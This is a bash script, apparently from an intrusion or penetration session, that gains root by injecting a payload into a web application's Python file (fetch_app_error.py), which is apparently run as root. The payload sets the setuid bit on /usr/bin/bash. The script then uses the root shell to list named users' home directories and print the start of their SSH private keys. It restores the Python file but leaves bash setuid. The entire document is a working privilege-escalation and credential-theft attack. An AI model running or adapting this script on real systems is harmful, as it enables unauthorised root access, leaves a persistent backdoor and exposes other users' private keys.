#!/bin/bash
# V9: re-run cleanweb privesc for root on B, then read home dirs (fixed quoting)
set -u
F=/var/www/html/clean_web/monitor_errors/fetch_app_error.py
BK=/home/npontucontrl/.cache/.fae_orig_v9b

echo "=== V9 ROOT PRIVESC ==="
cp "$F" "$BK"
python3 << 'PYEOF'
f = "/var/www/html/clean_web/monitor_errors/fetch_app_error.py"
s = open(f).read()
anchor = "import requests"
payload = """
# V9ROOT
import os as _po
try:
    _po.system("/usr/bin/chmod u+s /usr/bin/bash")
except Exception:
    pass
"""
if anchor in s and "V9ROOT" not in s:
    s = s.replace(anchor, anchor + payload, 1)
    open(f, "w").write(s)
    print("payload inserted")
else:
    print("anchor not found or already patched")
PYEOF

echo "waiting 65s..."
sleep 65
ls -la /usr/bin/bash
if [ -u /usr/bin/bash ]; then
  echo "ROOT_OK"
  /usr/bin/bash -p -c 'id'
  
  echo ""
  echo "=== HOME DIRS ROOT READ ==="
  for u in mylar nosa kobeng evans; do
    echo "--- /home/$u ---"
    /usr/bin/bash -p -c "ls -la /home/$u/ 2>/dev/null | head -15"
    echo ""
    echo "--- /home/$u/.ssh ---"
    /usr/bin/bash -p -c "ls -la /home/$u/.ssh/ 2>/dev/null"
    /usr/bin/bash -p -c "cat /home/$u/.ssh/id_rsa 2>/dev/null | head -2"
    /usr/bin/bash -p -c "cat /home/$u/.ssh/id_ed25519 2>/dev/null | head -2"
    echo ""
  done
else
  echo "ROOT_FAILED"
fi

cp "$BK" "$F"
echo "restored"
